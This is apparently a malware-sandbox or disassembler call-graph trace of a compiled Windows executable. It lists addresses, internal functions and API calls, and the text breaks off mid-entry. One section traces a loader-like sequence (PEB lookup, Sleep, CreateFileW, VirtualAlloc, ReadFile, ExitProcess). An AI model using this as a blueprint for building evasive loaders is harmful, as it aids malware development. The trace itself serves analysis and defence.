86100->86109 86101->86097 86101->86100 86102->86098 86102->86111 86103->86101 86103->86109 86104 41ebbe MultiByteToWideChar 86104->86097 86105 41ebe2 GetLastError 86104->86105 86105->86084 86106 41eb75 86113 41eb32 86106->86113 86114 41ebac 86106->86114 86107 41eb68 86110 417f23 _xtow_s@20 67 API calls 86107->86110 86108->86097 86108->86106 86108->86107 86108->86113 86109->86101 86112 423462 __lseeki64_nolock 69 API calls 86109->86112 86110->86097 86111->86098 86115 423462 __lseeki64_nolock 69 API calls 86111->86115 86112->86109 86113->86104 86116 423462 __lseeki64_nolock 69 API calls 86114->86116 86115->86111 86117 41ebbb 86116->86117 86117->86104 86118->86000 86119->86018 86120->86002 86121->86019 86123->86010 86124->86019 86125->86021 86126->86020 86127->86018 86129 416fb6 __malloc_crt 67 API calls 86128->86129 86130 423615 86129->86130 86130->86031 86131->86028 86136 414cef GetSystemTimeAsFileTime __aulldiv 86133->86136 86135 4431ef 86135->85637 86136->86135 86137->85644 86139->85650 86145 4523e1 _wcscpy 86140->86145 86141 4151b0 81 API calls __fread_nolock 86141->86145 86142 44afdc GetSystemTimeAsFileTime 86142->86145 86143 452553 86143->85559 86143->85560 86144 41557c 105 API calls _fseek 86144->86145 86145->86141 86145->86142 86145->86143 86145->86144 86147 44b1b4 86146->86147 86148 44b1a6 86146->86148 86150 44b1ca 86147->86150 86151 44b1c2 86147->86151 86152 414e06 138 API calls 86147->86152 86149 414e06 138 API calls 86148->86149 86149->86147 86181 4352d1 81 API calls 2 library calls 86150->86181 86151->85588 86154 44b2c1 86152->86154 86154->86150 86155 44b2cf 86154->86155 86157 44b2dc 86155->86157 86160 414e94 __fcloseall 106 API calls 86155->86160 86156 44b20d 86158 44b211 86156->86158 86159 44b23b 86156->86159 86157->85588 86162 44b21e 86158->86162 86164 414e94 __fcloseall 106 API calls 86158->86164 86182 43526e 86159->86182 86160->86157 86165 44b22e 86162->86165 86168 414e94 __fcloseall 106 API calls 86162->86168 86163 44b242 86166 44b270 86163->86166 86167 44b248 86163->86167 86164->86162 86165->85588 86192 44b0af 111 API calls 86166->86192 86169 44b255 86167->86169 86172 414e94 __fcloseall 106 API calls 86167->86172 86168->86165 86173 44b265 86169->86173 86175 414e94 __fcloseall 106 API calls 86169->86175 86171 44b276 86193 43522c 67 API calls __fcloseall 86171->86193 86172->86169 86173->85588 86175->86173 86176 44b27c 86177 44b289 86176->86177 86178 414e94 __fcloseall 106 API calls 86176->86178 86179 44b299 86177->86179 86180 414e94 __fcloseall 106 API calls 86177->86180 86178->86177 86179->85588 86180->86179 86181->86156 86183 4138ba _malloc 67 API calls 86182->86183 86184 43527d 86183->86184 86185 4138ba _malloc 67 API calls 86184->86185 86186 43528d 86185->86186 86187 4138ba _malloc 67 API calls 86186->86187 86188 43529d 86187->86188 86190 4352bc 86188->86190 86194 43522c 67 API calls __fcloseall 86188->86194 86190->86163 86191 4352c8 86191->86163 86192->86171 86193->86176 86194->86191 86195->85465 86197 410148 SHGetDesktopFolder 86196->86197 86199 4101a3 _wcscpy 86196->86199 86198 41015a _wcscpy 86197->86198 86197->86199 86198->86199 86200 41018a SHGetPathFromIDListW 86198->86200 86199->85469 86200->86199 86201->85471 86203 40f5e0 152 API calls 86202->86203 86204 40f417 86203->86204 86205 42ca37 86204->86205 86207 40f42c 86204->86207 86208 42ca1f 86204->86208 86206 452574 140 API calls 86205->86206 86210 42ca50 86206->86210 86250 4037e0 139 API calls 7 library calls 86207->86250 86251 43717f 110 API calls _printf 86208->86251 86213 42ca76 86210->86213 86214 42ca54 86210->86214 86212 42ca2d 86212->86205 86217 41171a 75 API calls 86213->86217 86216 434fe1 106 API calls 86214->86216 86215 40f446 86215->85468 86218 42ca5e 86216->86218 86232 42cacc ctype 86217->86232 86252 43717f 110 API calls _printf 86218->86252 86220 42ccc3 86222 413a88 __fcloseall 67 API calls 86220->86222 86221 42ca6c 86221->86213 86223 42cccd 86222->86223 86224 434fe1 106 API calls 86223->86224 86225 42ccda 86224->86225 86229 401b70 75 API calls 86229->86232 86232->86220 86232->86229 86233 445051 86232->86233 86236 402cc0 86232->86236 86244 4026a0 86232->86244 86253 44c80c 87 API calls 3 library calls 86232->86253 86254 44b408 75 API calls 86232->86254 86234 41171a 75 API calls 86233->86234 86235 445080 _memcpy_s 86234->86235 86235->86232 86235->86235 86237 402d71 86236->86237 86240 402cd2 _memcpy_s ctype 86236->86240 86239 41171a 75 API calls 86237->86239 86238 41171a 75 API calls 86241 402cd9 86238->86241 86239->86240 86240->86238 86242 41171a 75 API calls 86241->86242 86243 402cff 86241->86243 86242->86243 86243->86232 86245 4026af 86244->86245 86246 40276b 86244->86246 86245->86246 86247 41171a 75 API calls 86245->86247 86248 4026ee ctype 86245->86248 86246->86232 86247->86248 86248->86246 86249 41171a 75 API calls 86248->86249 86249->86248 86250->86215 86251->86212 86252->86221 86253->86232 86254->86232 86255->85478 86256->85479 84756 444343 84759 444326 84756->84759 84758 44434e WriteFile 84760 444340 84759->84760 84761 4442c7 84759->84761 84760->84758 84766 40e190 SetFilePointerEx 84761->84766 84763 4442e0 SetFilePointerEx 84767 40e190 SetFilePointerEx 84763->84767 84765 4442ff 84765->84758 84766->84763 84767->84765 86257 3ef39d8 86271 3ef1628 86257->86271 86259 3ef3aaa 86274 3ef38c8 86259->86274 86261 3ef3ad3 CreateFileW 86263 3ef3b27 86261->86263 86264 3ef3b22 86261->86264 86263->86264 86265 3ef3b3e VirtualAlloc 86263->86265 86265->86264 86266 3ef3b5c ReadFile 86265->86266 86266->86264 86267 3ef3b77 86266->86267 86268 3ef28c8 13 API calls 86267->86268 86270 3ef3baa 86268->86270 86269 3ef3bcd ExitProcess 86269->86264 86270->86269 86277 3ef4ad8 GetPEB 86271->86277 86273 3ef1cb3 86273->86259 86275 3ef38d1 Sleep 86274->86275 86276 3ef38df 86275->86276 86278 3ef4b02 86277->86278 86278->86273 86279 431914 86280 431920 86279->86280 86281 431928 86280->86281 86282 43193d 86280->86282 86543 45e62e 116 API calls 3 library calls 86281->86543 86544 47f2b4 174 API calls 86282->86544 86285 43194a 86293 4095b0 ctype 86285->86293 86545 45e62e 116 API calls 3 library calls 86285->86545 86286 409708 86288 4097af 86288->86286 86530 40d590 VariantClear 86288->86530 86290 409894 86290->86293 86305 431673 CloseHandle 86290->86305 86306 43170c GetExitCodeProcess CloseHandle 86290->86306 86307 40d590 VariantClear 86290->86307 86309 46dd22 133 API calls 86290->86309 86311 46e641 134 API calls 86290->86311 86312 431781 Sleep 86290->86312 86322 4092c0 VariantClear 86290->86322 86531 447e59 75 API calls 86290->86531 86532 453b07 77 API calls 86290->86532 86533 4646a2 76 API calls 86290->86533 86535 444233 88 API calls _wcslen 86290->86535 86536 457509 VariantClear 86290->86536 86537 404120 86290->86537 86541 4717e3 VariantClear 86290->86541 86542 436272 6 API calls 86290->86542 86292 4315b8 WaitForSingleObject 86292->86293 86295 4315d6 GetExitCodeProcess CloseHandle 86292->86295 86293->86286 86293->86288 86293->86290 86293->86292 86296 431623 Sleep 86293->86296 86302 40986e Sleep 86293->86302 86303 4098f1 TranslateMessage DispatchMessageW 86293->86303 86320 45e62e 116 API calls 86293->86320 86321 4319c9 VariantClear 86293->86321 86323 4092c0 VariantClear 86293->86323 86325 40b380 86293->86325 86349 409340 86293->86349 86382 409030 86293->86382 86396 40d300 86293->86396 86401 40d320 86293->86401 86407 409a40 86293->86407 86546 40e380 VariantClear ctype 86293->86546 86534 40d590 VariantClear 86295->86534 86296->86290 86299 43163b timeGetTime 86296->86299 86299->86290 86302->86290 86304 409880 timeGetTime 86302->86304 86303->86293 86304->86290 86305->86290 86306->86290 86307->86290 86309->86290 86311->86290 86312->86293 86320->86293 86321->86293 86322->86290 86323->86293 86326 40b3a5 86325->86326 86327 40b53d 86325->86327 86328 430a99 86326->86328 86333 40b3b6 86326->86333 86547 45e62e 116 API calls 3 library calls 86327->86547 86548 45e62e 116 API calls 3 library calls 86328->86548 86331 40b528 86331->86293 86332 430aae 86336 4092c0 VariantClear 86332->86336 86333->86332 86337 40b3f2 86333->86337 86348 40b4fd ctype 86333->86348 86335 430dc9 86335->86335 86336->86331 86338 40b429 86337->86338 86339 430ae9 VariantClear 86337->86339 86346 40b476 ctype 86337->86346 86345 40b43b ctype 86338->86345 86549 40e380 VariantClear ctype 86338->86549 86339->86345 86340 430d41 VariantClear 86340->86348 86341 40b4eb 86341->86348 86550 40e380 VariantClear ctype 86341->86550 86343 41171a 75 API calls 86343->86346 86345->86343 86345->86346 86346->86341 86347 430d08 ctype 86346->86347 86347->86340 86347->86348 86348->86331 86551 45e62e 116 API calls 3 library calls 86348->86551 86350 409386 86349->86350 86352 409395 86349->86352 86552 4042f0 75 API calls __cinit 86350->86552 86354 42fba9 86352->86354 86356 42fc07 86352->86356 86357 42fc85 86352->86357 86361 42fd4f 86352->86361 86362 42fcd8 86352->86362 86364 42fd39 86352->86364 86370 40946f 86352->86370 86372 4094c1 86352->86372 86375 40947b 86352->86375 86378 4092c0 VariantClear 86352->86378 86381 409484 ctype 86352->86381 86555 453155 75 API calls 86352->86555 86557 40c620 118 API calls 86352->86557 86559 45e62e 116 API calls 3 library calls 86352->86559 86556 45e62e 116 API calls 3 library calls 86354->86556 86558 45e62e 116 API calls 3 library calls 86356->86558 86560 4781ae 140 API calls 86357->86560 86365 4092c0 VariantClear 86361->86365 86562 47f2b4 174 API calls 86362->86562 86363 42fc9c 86363->86381 86561 45e62e 116 API calls 3 library calls 86363->86561 86564 45e62e 116 API calls 3 library calls 86364->86564 86365->86381 86367 42fce9 86367->86381 86563 45e62e 116 API calls 3 library calls 86367->86563 86553 409210 VariantClear 86370->86553 86372->86381 86554 404260 76 API calls 86372->86554 86376 4092c0 VariantClear 86375->86376 86376->86381 86378->86352 86379 4094e1 86380 4092c0 VariantClear 86379->86380 86380->86381 86381->86293 86565 409110 117 API calls 86382->86565 86384 42ceb6 86575 410ae0 VariantClear ctype 86384->86575 86386 42cebf 86387 42cea9 86574 45e62e 116 API calls 3 library calls 86387->86574 86389 40906e 86389->86384 86389->86387 86390 4090a4 86389->86390 86566 404160 86390->86566 86393 4090f0 ctype 86393->86293 86394 4092c0 VariantClear 86395 4090be ctype 86394->86395 86395->86393 86395->86394 86398 4292e3 86396->86398 86400 40d30c 86396->86400 86397 429323 86397->86293 86398->86397 86399 4292fd TranslateAcceleratorW 86398->86399 86399->86400 86400->86293 86402 4296d0 86401->86402 86405 40d32f 86401->86405 86402->86293 86403 40d33c 86403->86293 86404 42972a IsDialogMessageW 86404->86403 86404->86405 86405->86403 86405->86404 86710 4340ec GetClassLongW 86405->86710 86408 409a66 _wcslen 86407->86408 86409 41171a 75 API calls 86408->86409 86468 40aade _memcpy_s ctype 86408->86468 86410 409a9c _memcpy_s 86409->86410 86411 41171a 75 API calls 86410->86411 86413 409abd 86411->86413 86416 409aeb CharUpperBuffW 86413->86416 86419 409b09 ctype 86413->86419 86413->86468 86414 42cee9 86415 41171a 75 API calls 86414->86415 86424 42cf10 _memcpy_s 86415->86424 86416->86419 86456 409b88 ctype 86419->86456 86713 47d10e 150 API calls 86419->86713 86420 4092c0 VariantClear 86421 42e5e0 86420->86421 86745 410ae0 VariantClear ctype 86421->86745 86423 42e5f2 86744 45e62e 116 API calls 3 library calls 86424->86744 86425 409e4a 86425->86424 86427 41171a 75 API calls 86425->86427 86431 409ea4 86425->86431 86426 40aa5b 86428 41171a 75 API calls 86426->86428 86427->86431 86450 40aa81 _memcpy_s ctype 86428->86450 86429 409ed0 86433 42d50d 86429->86433 86476 409ef8 _memcpy_s ctype 86429->86476 86723 40b800 VariantClear VariantClear ctype 86429->86723 86431->86429 86432 41171a 75 API calls 86431->86432 86434 42d480 86432->86434 86437 42d527 86433->86437 86724 40b800 VariantClear VariantClear ctype 86433->86724 86436 42d491 86434->86436 86719 44b3f6 75 API calls 86434->86719 86720 40df50 75 API calls 86436->86720 86437->86476 86725 40e2e0 VariantClear ctype 86437->86725 86438 42d195 VariantClear 86438->86456 86440 40a415 86447 41171a 75 API calls 86440->86447 86441 42db5c 86730 4721e5 VariantClear 86441->86730 86442 4092c0 VariantClear 86442->86456 86465 40a41c 86447->86465 86448 41171a 75 API calls 86448->86456 86455 41171a 75 API calls 86450->86455 86451 42d4a6 86721 4530b3 75 API calls 86451->86721 86453 42db96 86731 45e62e 116 API calls 3 library calls 86453->86731 86455->86468 86456->86424 86456->86425 86456->86426 86456->86438 86456->86442 86456->86448 86456->86450 86458 42d128 86456->86458 86461 42d20c 86456->86461 86470 42dbb9 86456->86470 86714 40c3e0 75 API calls 86456->86714 86715 40c620 118 API calls 86456->86715 86717 40be00 75 API calls 2 library calls 86456->86717 86718 40e380 VariantClear ctype 86456->86718 86460 4092c0 VariantClear 86458->86460 86459 42d4d7 86722 4530b3 75 API calls 86459->86722 86464 42d131 86460->86464 86461->86293 86716 410ae0 VariantClear ctype 86464->86716 86477 40a481 86465->86477 86732 40c8a0 VariantClear ctype 86465->86732 86712 401380 75 API calls 86468->86712 86470->86420 86472 402cc0 75 API calls 86472->86476 86473 40aa22 ctype 86473->86293 86474 4092c0 VariantClear 86506 40a534 _memcpy_s ctype 86474->86506 86475 411421 74 API calls __cinit 86475->86476 86476->86441 86476->86453 86476->86468 86476->86472 86476->86475 86487 44b3f6 75 API calls 86476->86487 86489 41171a 75 API calls 86476->86489 86491 40a3a7 86476->86491 86497 40a053 86476->86497 86726 45ee98 75 API calls 86476->86726 86727 4019e0 76 API calls 86476->86727 86728 404260 76 API calls 86476->86728 86729 409210 VariantClear 86476->86729 86478 40a4ed 86477->86478 86479 42dc1e VariantClear 86477->86479 86477->86506 86485 40a4ff ctype 86478->86485 86733 40e380 VariantClear ctype 86478->86733 86479->86485 86482 41171a 75 API calls 86482->86506 86485->86482 86485->86506 86487->86476 86488 42deb6 VariantClear 86488->86506 86489->86476 86490 40a73c 86492 42e237 86490->86492 86499 40a76b 86490->86499 86491->86440 86491->86441 86737 46e709 VariantClear VariantClear ctype 86492->86737 86493 42dfe9 VariantClear 86493->86506 86494 42df47 VariantClear 86494->86506 86496 40a7a2 86512 40a7ad ctype 86496->86512 86738 40b800 VariantClear VariantClear ctype 86496->86738 86497->86293 86498 40e380 VariantClear 86498->86506 86499->86496 86523 40a800 ctype 86499->86523 86711 40b800 VariantClear VariantClear ctype 86499->86711 86502 41171a 75 API calls 86502->86506 86503 40a8b0 86514 40a8c2 ctype 86503->86514 86740 40e380 VariantClear ctype 86503->86740 86504 42e312 86507 42e337 VariantClear 86504->86507 86504->86514 86505 41171a 75 API calls 86508 42dd10 VariantInit VariantCopy 86505->86508 86506->86474 86506->86488 86506->86490 86506->86492 86506->86493 86506->86494 86506->86498 86506->86502 86506->86505 86734 46e9cd 75 API calls 86506->86734 86735 409210 VariantClear 86506->86735 86736 44cc6c VariantClear ctype 86506->86736 86507->86514 86508->86506 86510 42dd30 VariantClear 86508->86510 86509 42e3b2 86518 42e3da VariantClear 86509->86518 86524 40a91a ctype 86509->86524 86510->86506 86513 40a7ee 86512->86513 86517 42e2a7 VariantClear 86512->86517 86512->86523 86513->86523 86739 40e380 VariantClear ctype 86513->86739 86514->86509 86515 40a908 86514->86515 86515->86524 86741 40e380 VariantClear ctype 86515->86741 86517->86523 86518->86524 86519 42e47f 86525 42e4a3 VariantClear 86519->86525 86529 40a957 ctype 86519->86529 86521 40a945 86521->86529 86742 40e380 VariantClear ctype 86521->86742 86523->86503 86523->86504 86524->86519 86524->86521 86525->86529 86527 42e559 VariantClear 86527->86529 86529->86473 86529->86527 86743 40e380 VariantClear ctype 86529->86743 86530->86286 86531->86290 86532->86290 86533->86290 86534->86290 86535->86290 86536->86290 86538 40412e 86537->86538 86539 4092c0 VariantClear 86538->86539 86540 404138 86539->86540 86540->86312 86541->86290 86542->86290 86543->86293 86544->86285 86545->86293 86546->86293 86547->86328 86548->86332 86549->86345 86550->86348 86551->86335 86552->86352 86553->86375 86554->86379 86555->86352 86556->86381 86557->86352 86558->86381 86559->86352 86560->86363 86561->86381 86562->86367 86563->86381 86564->86361 86565->86389 86567 4092c0 VariantClear 86566->86567 86568 40416e 86567->86568 86569 404120 VariantClear 86568->86569 86570 40419b 86569->86570 86576 4734b7 86570->86576 86620 40efe0 86570->86620 86571 4041c6 86571->86384 86571->86395 86574->86384 86575->86386 86577 453063 111 API calls 86576->86577 86578 4734d7 86577->86578 86579 473545 86578->86579 86580 47350c 86578->86580 86628 463c42 86579->86628 86582 4092c0 VariantClear 86580->86582 86588 473514 86582->86588 86583 473558 86584 47355c 86583->86584 86600 473595 86583->86600 86585 4092c0 VariantClear 86584->86585 86595 473564 86585->86595 86586 473616 86641 463d7e 86586->86641 86588->86571 86589 473622 86591 473697 86589->86591 86592 47362c 86589->86592 86590 453063 111 API calls 86590->86600 86675 457838 86591->86675 86596 4092c0 VariantClear 86592->86596 86595->86571 86598 473634 86596->86598 86598->86571 86599 473655 86603 4092c0 VariantClear 86599->86603 86600->86586 86600->86590 86600->86599 86687 462f5a 87 API calls __wcsicoll 86600->86687 86614 47365d 86603->86614 86604 4736b0 86688 45e62e 116 API calls 3 library calls 86604->86688 86605 4736c9 86689 40e7e0 76 API calls 86605->86689 86608 4736db 86618 4736ff 86608->86618 86690 40d030 76 API calls 86608->86690 86609 4736ba GetCurrentProcess TerminateProcess 86609->86605 86611 473731 86616 473744 FreeLibrary 86611->86616 86617 47374b 86611->86617 86612 4736f1 86691 46b945 134 API calls 2 library calls 86612->86691 86614->86571 86616->86617 86617->86571 86618->86611 86692 40d030 76 API calls 86618->86692 86693 46b945 134 API calls 2 library calls 86618->86693 86621 40eff5 CreateFileW 86620->86621 86622 4299bf 86620->86622 86624 40f017 86621->86624 86623 4299c4 CreateFileW 86622->86623 86622->86624 86623->86624 86625 4299ea 86623->86625 86624->86571 86709 40e0d0 SetFilePointerEx SetFilePointerEx 86625->86709 86627 4299f5 86627->86624 86694 45335b 76 API calls 86628->86694 86630 463c5d 86695 442c52 80 API calls _wcslen 86630->86695 86632 463c72 86634 40c060 75 API calls 86632->86634 86640 463cac 86632->86640 86635 463c8e 86634->86635 86696 4608ce 75 API calls _memcpy_s 86635->86696 86637 463ca4 86638 40c740 75 API calls 86637->86638 86638->86640 86639 463cf7 86639->86583 86640->86639 86697 462f5a 87 API calls __wcsicoll 86640->86697 86642 453063 111 API calls 86641->86642 86643 463d99 86642->86643 86644 463de0 86643->86644 86645 463dca 86643->86645 86699 40c760 78 API calls 86644->86699 86698 453081 111 API calls 86645->86698 86648 463dd0 LoadLibraryW 86650 463e09 86648->86650 86649 463de7 86654 463e19 86649->86654 86700 40c760 78 API calls 86649->86700 86651 463e3e 86650->86651 86650->86654 86655 463e4e 86651->86655 86656 463e7b 86651->86656 86653 463dfb 86653->86654 86701 40c760 78 API calls 86653->86701 86654->86589 86702 40d500 75 API calls 86655->86702 86704 40c760 78 API calls 86656->86704 86660 463e82 GetProcAddress 86664 463e90 86660->86664 86661 463e57 86703 45efe7 77 API calls ctype 86661->86703 86663 463e62 GetProcAddress 86666 463e79 86663->86666 86664->86654 86665 463edf 86664->86665 86664->86666 86665->86654 86668 463eef FreeLibrary 86665->86668 86666->86664 86705 403470 75 API calls _memcpy_s 86666->86705 86668->86654 86669 463eb4 86706 40d500 75 API calls 86669->86706 86671 463ebd 86707 45efe7 77 API calls ctype 86671->86707 86673 463ec8 GetProcAddress 86708 401330 ctype 86673->86708 86676 457a4c 86675->86676 86682 45785f _strcat _wcslen _wcscpy ctype 86675->86682 86683 410d40 86676->86683 86677 443576 78 API calls 86677->86682 86678 40c760 78 API calls 86678->86682 86679 4138ba 67 API calls _malloc 86679->86682 86680 453081 111 API calls 86680->86682 86681 40f580 77 API calls 86681->86682 86682->86676 86682->86677 86682->86678 86682->86679 86682->86680 86682->86681 86685 410d55 86683->86685 86684 410ded VirtualProtect 86686 410dbb 86684->86686 86685->86684 86685->86686 86686->86604 86686->86605 86687->86600 86688->86609 86689->86608 86690->86612 86691->86618 86692->86618 86693->86618 86694->86630 86695->86632 86696->86637 86697->86639 86698->86648 86699->86649 86700->86653 86701->86650 86702->86661 86703->86663 86704->86660 86705->86669 86706->86671 86707->86673 86708->86665 86709->86627 86710->86405 86711->86496 86712->86414 86713->86419 86714->86456 86715->86456 86716->86473 86717->86456 86718->86456 86719->86436 86720->86451 86721->86459 86722->86429 86723->86433 86724->86437 86725->86476 86726->86476 86727->86476 86728->86476 86729->86476 86730->86453 86731->86470 86732->86465 86733->86485 86734->86506 86735->86506 86736->86506 86737->86496 86738->86512 86739->86523 86740->86514 86741->86524 86742->86529 86743->86529 86744->86470 86745->86423 84768 46d22f 84771 46d098 84768->84771 84770 46d241 84772 46d0b5 84771->84772 84773 46d115 84772->84773 84774 46d0b9 84772->84774 84842 45c216 78 API calls 84773->84842 84819 41171a 84774->84819 84777 46d126 84780 46d0f8 84777->84780 84786 46d142 84777->84786 84779 46d0cc 84832 453063 84779->84832 84838 4092c0 84780->84838 84784 46d0fd 84784->84770 84787 46d1c8 84786->84787 84790 46d158 84786->84790 84848 4676a3 78 API calls 84787->84848 84793 453063 111 API calls 84790->84793 84791 46d0ea 84791->84786 84794 46d0ee 84791->84794 84792 46d1ce 84849 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84792->84849 84802 46d15e 84793->84802 84794->84780 84837 44ade5 CloseHandle ctype 84794->84837 84795 46d18d 84843 467fce 82 API calls 84795->84843 84799 46d196 84844 4013a0 75 API calls 84799->84844 84800 46d1e7 84804 4092c0 VariantClear 84800->84804 84813 46d194 84800->84813 84802->84795 84802->84799 84803 46d1a2 84845 40df50 75 API calls 84803->84845 84804->84813 84806 46d1ac 84846 40d3b0 75 API calls 2 library calls 84806->84846 84808 46d224 84808->84770 84809 46d1b8 84847 467fce 82 API calls 84809->84847 84812 46d216 84850 44ade5 CloseHandle ctype 84812->84850 84813->84808 84815 40d900 84813->84815 84816 40d917 84815->84816 84817 40d909 84815->84817 84816->84817 84818 40d91c CloseHandle 84816->84818 84817->84812 84818->84812 84821 411724 84819->84821 84822 41173e 84821->84822 84826 411740 std::bad_alloc::bad_alloc 84821->84826 84851 4138ba 84821->84851 84869 411afc 6 API calls __decode_pointer 84821->84869 84822->84779 84831 40d940 76 API calls 84822->84831 84824 411766 84873 4116fd 67 API calls std::exception::exception 84824->84873 84826->84824 84870 411421 84826->84870 84827 411770 84874 41805b RaiseException 84827->84874 84830 41177e 84831->84779 84833 45306e 84832->84833 84834 45307a 84832->84834 84833->84834 85012 452e2a 111 API calls 5 library calls 84833->85012 84836 40dfa0 83 API calls 84834->84836 84836->84791 84837->84780 84839 4092c8 ctype 84838->84839 84840 429db0 VariantClear 84839->84840 84841 4092d5 ctype 84839->84841 84840->84841 84841->84784 84842->84777 84843->84813 84844->84803 84845->84806 84846->84809 84847->84813 84848->84792 84849->84800 84850->84808 84852 41396d 84851->84852 84858 4138cc 84851->84858 84882 411afc 6 API calls __decode_pointer 84852->84882 84854 4138dd 84854->84858 84875 418252 67 API calls 2 library calls 84854->84875 84876 4180a7 67 API calls 7 library calls 84854->84876 84877 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84854->84877 84855 413973 84883 417f23 67 API calls __getptd_noexit 84855->84883 84858->84854 84859 413965 84858->84859 84862 413929 RtlAllocateHeap 84858->84862 84864 413959 84858->84864 84867 41395e 84858->84867 84878 41386b 67 API calls 4 library calls 84858->84878 84879 411afc 6 API calls __decode_pointer 84858->84879 84859->84821 84862->84858 84880 417f23 67 API calls __getptd_noexit 84864->84880 84881 417f23 67 API calls __getptd_noexit 84867->84881 84869->84821 84884 4113e5 84870->84884 84872 41142e 84872->84824 84873->84827 84874->84830 84875->84854 84876->84854 84878->84858 84879->84858 84880->84867 84881->84859 84882->84855 84883->84859 84885 4113f1 __fcloseall 84884->84885 84892 41181b 84885->84892 84891 411412 __fcloseall 84891->84872 84918 418407 84892->84918 84894 4113f6 84895 4112fa 84894->84895 84983 4169e9 TlsGetValue 84895->84983 84898 4169e9 __decode_pointer 6 API calls 84899 41131e 84898->84899 84910 4113a1 84899->84910 84993 4170e7 68 API calls 5 library calls 84899->84993 84901 41133c 84904 411357 84901->84904 84905 411366 84901->84905 84914 411388 84901->84914 84902 41696e __encode_pointer 6 API calls 84903 411396 84902->84903 84907 41696e __encode_pointer 6 API calls 84903->84907 84994 417047 73 API calls _realloc 84904->84994 84906 411360 84905->84906 84905->84910 84906->84905 84911 41137c 84906->84911 84995 417047 73 API calls _realloc 84906->84995 84907->84910 84915 41141b 84910->84915 84996 41696e TlsGetValue 84911->84996 84912 411376 84912->84910 84912->84911 84914->84902 85008 411824 84915->85008 84919 41841c 84918->84919 84920 41842f EnterCriticalSection 84918->84920 84925 418344 84919->84925 84920->84894 84922 418422 84922->84920 84953 4117af 67 API calls 3 library calls 84922->84953 84924 41842e 84924->84920 84926 418350 __fcloseall 84925->84926 84927 418360 84926->84927 84928 418378 84926->84928 84954 418252 67 API calls 2 library calls 84927->84954 84936 418386 __fcloseall 84928->84936 84957 416fb6 84928->84957 84930 418365 84955 4180a7 67 API calls 7 library calls 84930->84955 84934 4183a7 84939 418407 __lock 67 API calls 84934->84939 84935 418398 84963 417f23 67 API calls __getptd_noexit 84935->84963 84936->84922 84937 41836c 84956 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84937->84956 84941 4183ae 84939->84941 84943 4183e2 84941->84943 84944 4183b6 84941->84944 84945 413a88 __fcloseall 67 API calls 84943->84945 84964 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 84944->84964 84947 4183d3 84945->84947 84979 4183fe LeaveCriticalSection _doexit 84947->84979 84948 4183c1 84948->84947 84965 413a88 84948->84965 84951 4183cd 84978 417f23 67 API calls __getptd_noexit 84951->84978 84953->84924 84954->84930 84955->84937 84960 416fbf 84957->84960 84958 4138ba _malloc 66 API calls 84958->84960 84959 416ff5 84959->84934 84959->84935 84960->84958 84960->84959 84961 416fd6 Sleep 84960->84961 84962 416feb 84961->84962 84962->84959 84962->84960 84963->84936 84964->84948 84967 413a94 __fcloseall 84965->84967 84966 413b0d __fcloseall __dosmaperr 84966->84951 84967->84966 84968 418407 __lock 65 API calls 84967->84968 84977 413ad3 84967->84977 84974 413aab ___sbh_find_block 84968->84974 84969 413ae8 RtlFreeHeap 84969->84966 84970 413afa 84969->84970 84982 417f23 67 API calls __getptd_noexit 84970->84982 84972 413aff GetLastError 84972->84966 84973 413ac5 84981 413ade LeaveCriticalSection _doexit 84973->84981 84974->84973 84980 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __shift 84974->84980 84977->84966 84977->84969 84978->84947 84979->84936 84980->84973 84981->84977 84982->84972 84984 416a01 84983->84984 84985 416a22 GetModuleHandleW 84983->84985 84984->84985 84988 416a0b TlsGetValue 84984->84988 84986 416a32 84985->84986 84987 416a3d GetProcAddress 84985->84987 85006 41177f Sleep GetModuleHandleW 84986->85006 84990 41130e 84987->84990 84992 416a16 84988->84992 84990->84898 84991 416a38 84991->84987 84991->84990 84992->84985 84992->84990 84993->84901 84994->84906 84995->84912 84997 4169a7 GetModuleHandleW 84996->84997 84998 416986 84996->84998 84999 4169c2 GetProcAddress 84997->84999 85000 4169b7 84997->85000 84998->84997 85001 416990 TlsGetValue 84998->85001 85003 41699f 84999->85003 85007 41177f Sleep GetModuleHandleW 85000->85007 85004 41699b 85001->85004 85003->84914 85004->84997 85004->85003 85005 4169bd 85005->84999 85005->85003 85006->84991 85007->85005 85011 41832d LeaveCriticalSection 85008->85011 85010 411420 85010->84891 85011->85010 85012->84834 86746 42919b 86751 40ef10 86746->86751 86749 411421 __cinit 74 API calls 86750 4291aa 86749->86750 86752 41171a 75 API calls 86751->86752 86753 40ef17 86752->86753 86754 42ad48 86753->86754 86759 40ef40 74 API calls __cinit 86753->86759 86756 40ef2a 86760 40e470 86756->86760 86759->86756 86761 40c060 75 API calls 86760->86761 86762 40e483 GetVersionExW 86761->86762 86763 4021e0 75 API calls 86762->86763 86764 40e4bb 86763->86764 86786 40e600 86764->86786 86771 42accc 86772 42ad28 GetSystemInfo 86771->86772 86775 42ad38 GetSystemInfo 86772->86775 86773 40e557 GetCurrentProcess 86806 40ee30 LoadLibraryA GetProcAddress 86773->86806 86776 40e56c 86776->86775 86799 40eee0 86776->86799 86779 40e5c9 86803 40eea0 86779->86803 86782 40e5e0 86784 40e5f1 FreeLibrary 86782->86784 86785 40e5f4 86782->86785 86783 40e5dd FreeLibrary 86783->86782 86784->86785 86785->86749 86787 40e60b 86786->86787 86788 40c740 75 API calls 86787->86788 86789 40e4c2 86788->86789 86790 40e620 86789->86790 86791 40e62a 86790->86791 86792 42ac93 86791->86792 86793 40c740 75 API calls 86791->86793 86794 40e4ce 86793->86794 86794->86771 86795 40ee70 86794->86795 86796 40e551 86795->86796 86797 40ee76 LoadLibraryA 86795->86797 86796->86773 86796->86776 86797->86796 86798 40ee87 GetProcAddress 86797->86798 86798->86796 86800 40e5bf 86799->86800 86801 40eee6 LoadLibraryA 86799->86801 86800->86772 86800->86779 86801->86800 86802 40eef7 GetProcAddress 86801->86802 86802->86800 86807 40eec0 LoadLibraryA GetProcAddress 86803->86807 86805 40e5d3 GetNativeSystemInfo 86805->86782 86805->86783 86806->86776 86807->86805 86808 42e89e 86815 40c000 86808->86815 86810 42e8ac 86811 409a40 165 API calls 86810->86811 86812 42e8ca 86811->86812 86826 44b92e VariantClear 86812->86826 86814 42f3ae 86816 40c014 86815->86816 86817 40c007 86815->86817 86819 40c01a 86816->86819 86820 40c02c 86816->86820 86827 409210 VariantClear 86817->86827 86828 409210 VariantClear 86819->86828 86823 41171a 75 API 